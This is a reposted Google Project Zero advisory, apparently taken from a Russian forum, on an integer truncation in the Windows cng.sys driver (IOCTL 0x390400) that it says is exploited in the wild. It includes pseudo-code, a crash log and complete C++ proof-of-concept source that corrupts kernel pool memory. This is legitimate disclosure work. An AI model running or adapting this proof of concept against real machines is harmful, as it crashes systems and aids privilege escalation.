Пожалуйста, обратите внимание, что пользователь заблокирован
NOTE: We have evidence that the following bug is being used in the wild. Therefore, this bug is subject to a 7 day disclosure deadline.
The Windows Kernel Cryptography Driver (cng.sys) exposes a \Device\CNG device to user-mode programs and supports a variety of IOCTLs with non-trivial input structures. It constitutes a locally accessible attack surface that can be exploited for privilege escalation (such as sandbox escape).
We have identified a vulnerability in the processing of IOCTL 0x390400, reachable through the following series of calls:
1. cng!CngDispatch
2. cng!CngDeviceControl
3. cng!ConfigIoHandler_Safeguarded
4. cng!ConfigFunctionIoHandler
5. cng!_ConfigurationFunctionIoHandler
6. cng!BCryptSetContextFunctionProperty
7. cng!CfgAdtReportFunctionPropertyOperation
8. cng!CfgAdtpFormatPropertyBlock
The bug resides in the cng!CfgAdtpFormatPropertyBlock function and is caused by a 16-bit integer truncation issue. It is best explained with a C-like pseudo code of the function:
--- cut ---
1: NTSTATUS CfgAdtpFormatPropertyBlock(PBYTE SourceBuffer, USHORT SourceLength, PUNICODE_STRING Destination) {
2: CONST USHORT DestinationSize = (USHORT)(6 * SourceLength);
3: PWCHAR OutputBuffer = BCryptAlloc(DestinationSize);
4:
5: for (USHORT i = 0; i < SourceLength; i++) {
6: *OutputBuffer++ = "0123456789abcdef"[*SourceBuffer >> 4];
7: *OutputBuffer++ = "0123456789abcdef"[*SourceBuffer & 0xF];
8: *OutputBuffer++ = ' ';
9: SourceBuffer++;
10: }
11:
12: Destination->MaximumLength = DestinationSize;
13: Destination->Length = DestinationSize - 2;
14: Destination->Buffer = OutputBuffer;
15:
16: return STATUS_SUCCESS;
17: }
--- cut ---
The integer overflow occurs in line 2, and if SourceLength is equal to or greater than 0x2AAB, an inadequately small buffer is allocated from the NonPagedPool in line 3. It is subsequently overflown by the binary-to-hex conversion loop in lines 5-10 by a multiple of 65536 bytes.
The source code of a proof-of-concept program is attached. It was tested on an up-to-date build of Windows 10 1903 (64-bit), but the vulnerability is believed to be present since at least Windows 7. A crash is easiest to reproduce with Special Pools enabled for cng.sys, but even in the default configuration the corruption of 64kB of kernel data will almost surely crash the system shortly after running the exploit.
An example crash log is as follows:
--- cut ---
PAGE_FAULT_IN_NONPAGED_AREA (50)
Invalid system memory was referenced. This cannot be protected by try-except.
Typically the address is just plain bad or it is pointing at freed memory.
Arguments:
Arg1: ffffe38e34cf3000, memory referenced.
Arg2: 0000000000000002, value 0 = read operation, 1 = write operation.
Arg3: fffff80068552924, If non-zero, the instruction address which referenced the bad memory
address.
Arg4: 0000000000000002, (reserved)
Debugging Details:
------------------
[...]
TRAP_FRAME: fffff60c71740d90 -- (.trap 0xfffff60c71740d90)
NOTE: The trap frame does not contain all registers.
Some register values may be zeroed or incorrect.
rax=0000000000000020 rbx=0000000000000000 rcx=ffffe38e34cf3000
rdx=ffffe38e34cf2ff0 rsi=0000000000000000 rdi=0000000000000000
rip=fffff80068552924 rsp=fffff60c71740f20 rbp=0000000000002aab
r8=0000000000002aa9 r9=0000000000000002 r10=fffff8006858ce70
r11=fffff60c71740e70 r12=0000000000000000 r13=0000000000000000
r14=0000000000000000 r15=0000000000000000
iopl=0 nv up ei ng nz ac po nc
cng!CfgAdtpFormatPropertyBlock+0xa8:
fffff800`68552924 668901 mov word ptr [rcx],ax ds:ffffe38e`34cf3000=????
Resetting default scope
LAST_CONTROL_TRANSFER: from fffff80067761ef2 to fffff80067683b30
STACK_TEXT:
fffff60c`71740348 fffff800`67761ef2 : ffffe38e`34cf3000 00000000`00000003 fffff60c`717404b0 fffff800`675dd2f0 : nt!DbgBreakPointWithStatus
fffff60c`71740350 fffff800`677615e7 : fffff800`00000003 fffff60c`717404b0 fffff800`676903f0 fffff60c`717409f0 : nt!KiBugCheckDebugBreak+0x12
fffff60c`717403b0 fffff800`6767bde7 : fffff800`6791d4f8 fffff800`6778ba45 ffffe38e`34cf3000 ffffe38e`34cf3000 : nt!KeBugCheck2+0x947
fffff60c`71740ab0 fffff800`676c119e : 00000000`00000050 ffffe38e`34cf3000 00000000`00000002 fffff60c`71740d90 : nt!KeBugCheckEx+0x107
fffff60c`71740af0 fffff800`6754e59f : 00000000`00000fff 00000000`00000002 00000000`00000000 ffffe38e`34cf3000 : nt!MiSystemFault+0x19dcee
fffff60c`71740bf0 fffff800`67689d5e : ffffe38e`314fd880 ffffe38e`34cf2ff0 ffffe38e`391e5000 fffff800`675791ad : nt!MmAccessFault+0x34f
fffff60c`71740d90 fffff800`68552924 : fffff60c`71740fe0 fffff60c`71741508 ffffe38e`391e5000 ffff976c`4503896f : nt!KiPageFault+0x35e
fffff60c`71740f20 fffff800`6855224e : 00000000`00000000 fffff60c`71741050 ffffe38e`391e5000 00000000`00000001 : cng!CfgAdtpFormatPropertyBlock+0xa8
fffff60c`71740f50 fffff800`68550282 : 00000000`00000005 fffff60c`71741720 ffffe38e`391e5000 ffffe38e`391e4200 : cng!CfgAdtReportFunctionPropertyOperation+0x23e
fffff60c`71741470 fffff800`68539580 : fffff60c`71741720 ffffe38e`391e4100 fffff60c`717415f0 ffffe38e`391e4200 : cng!BCryptSetContextFunctionProperty+0x3a2
fffff60c`71741570 fffff800`68502e86 : 00000000`00003aab 00000000`00000008 00000000`00003aab ffffe38e`39d25000 : cng!_ConfigurationFunctionIoHandler+0x3bd5c
fffff60c`71741660 fffff800`68502d22 : 00000000`00003aab 00000000`00003ab0 00000000`00000204 00000000`00000000 : cng!ConfigFunctionIoHandler+0x4e
fffff60c`717416a0 fffff800`68501567 : 00000000`00000000 fffff800`00003aab 00000000`00000000 00000000`00010400 : cng!ConfigIoHandler_Safeguarded+0xd2
fffff60c`71741710 fffff800`684fe0ea : 00000000`00000000 ffffe38e`392fd1d0 ffffe38e`392fd100 00000000`00000008 : cng!CngDeviceControl+0x97
fffff60c`717417e0 fffff800`674e54e9 : ffffe38e`392fd100 00000000`00000000 00000000`00000002 00000000`00000001 : cng!CngDispatch+0x8a
fffff60c`71741820 fffff800`67a8aa55 : fffff60c`71741b80 ffffe38e`392fd100 00000000`00000001 ffffe38e`3a2068d0 : nt!IofCallDriver+0x59
fffff60c`71741860 fffff800`67a8a860 : 00000000`00000000 fffff60c`71741b80 ffffe38e`392fd100 fffff60c`71741b80 : nt!IopSynchronousServiceTail+0x1a5
fffff60c`71741900 fffff800`67a89c36 : 0000024c`8d0d3000 00000000`00000000 00000000`00000000 00000000`00000000 : nt!IopXxxControlFile+0xc10
fffff60c`71741a20 fffff800`6768d555 : 00000000`00000000 00000000`00000000 00000000`00000000 00000072`ae1af3d8 : nt!NtDeviceIoControlFile+0x56
fffff60c`71741a90 00007fff`0189c1a4 : 00007ffe`ff22eaa7 00000000`00000000 cccccccc`cccccccc cccccccc`cccccccc : nt!KiSystemServiceCopyEnd+0x25
00000072`ae1af708 00007ffe`ff22eaa7 : 00000000`00000000 cccccccc`cccccccc cccccccc`cccccccc cccccccc`cccccccc : ntdll!NtDeviceIoControlFile+0x14
00000072`ae1af710 00007ffe`ffbf6430 : 00000000`00390400 cccccccc`cccccccc cccccccc`cccccccc cccccccc`cccccccc : KERNELBASE!DeviceIoControl+0x67
00000072`ae1af780 00007ff7`aeea8872 : 00000000`00000000 00000000`00000000 00000072`ae1af810 00000000`00000000 : KERNEL32!DeviceIoControlImplementation+0x80
--- cut ---
NOTE: We have evidence that this bug is being used in the wild. Therefore, this bug is subject to a 7 day disclosure deadline.
Credit: Mateusz Jurczyk and Sergei Glazunov of Google Project Zero
cng_ioctl_390400.cpp
C++:
#pragma comment(lib, "ntdll")
#include <cstdio>
#include <windows.h>
int main() {
HANDLE hCng = CreateFileA("\\\\.\\GLOBALROOT\\Device\\Cng",
GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
if (hCng == NULL) {
printf("[-] Failed to open \\Device\\Cng: %u\n", GetLastError());
return 1;
}
printf("[+] \\Device\\Cng opened, handle: %p\n", hCng);
//
// DataBufferSize overflows when used for allocating memory in
// cng!CfgAdtpFormatPropertyBlock as (uint16)(DataBufferSize * 6).
//
// In this proof-of-concept, an allocation of (uint16)(0x2AAB * 6) = 2
// bytes is requested while 0x2AAB * 6 = 0x10002 bytes are written to it.
//
CONST DWORD DataBufferSize = 0x2AAB;
CONST DWORD IoctlSize = 4096 + DataBufferSize;
BYTE *IoctlData = (BYTE *)HeapAlloc(GetProcessHeap(), 0, IoctlSize);
RtlZeroMemory(IoctlData, IoctlSize);
*(DWORD*) &IoctlData[0x00] = 0x1A2B3C4D;
*(DWORD*) &IoctlData[0x04] = 0x10400;
*(DWORD*) &IoctlData[0x08] = 1;
*(ULONGLONG*)&IoctlData[0x10] = 0x100;
*(DWORD*) &IoctlData[0x18] = 3;
*(ULONGLONG*)&IoctlData[0x20] = 0x200;
*(ULONGLONG*)&IoctlData[0x28] = 0x300;
*(ULONGLONG*)&IoctlData[0x30] = 0x400;
*(DWORD*) &IoctlData[0x38] = 0;
*(ULONGLONG*)&IoctlData[0x40] = 0x500;
*(ULONGLONG*)&IoctlData[0x48] = 0x600;
*(DWORD*) &IoctlData[0x50] = DataBufferSize; // OVERFLOW
*(ULONGLONG*)&IoctlData[0x58] = 0x1000;
*(ULONGLONG*)&IoctlData[0x60] = 0;
RtlCopyMemory(&IoctlData[0x200], L"FUNCTION", 0x12);
RtlCopyMemory(&IoctlData[0x400], L"PROPERTY", 0x12);
ULONG_PTR OutputBuffer = 0;
DWORD BytesReturned;
BOOL Status = DeviceIoControl(
hCng,
0x390400,
IoctlData,
IoctlSize,
&OutputBuffer,
sizeof(OutputBuffer),
&BytesReturned,
NULL
);
printf("[+] Ioctl sent, Status: %d, OutputBuffer: %zx\n", Status, OutputBuffer);
HeapFree(GetProcessHeap(), 0, IoctlData);
CloseHandle(hCng);
return 0;
}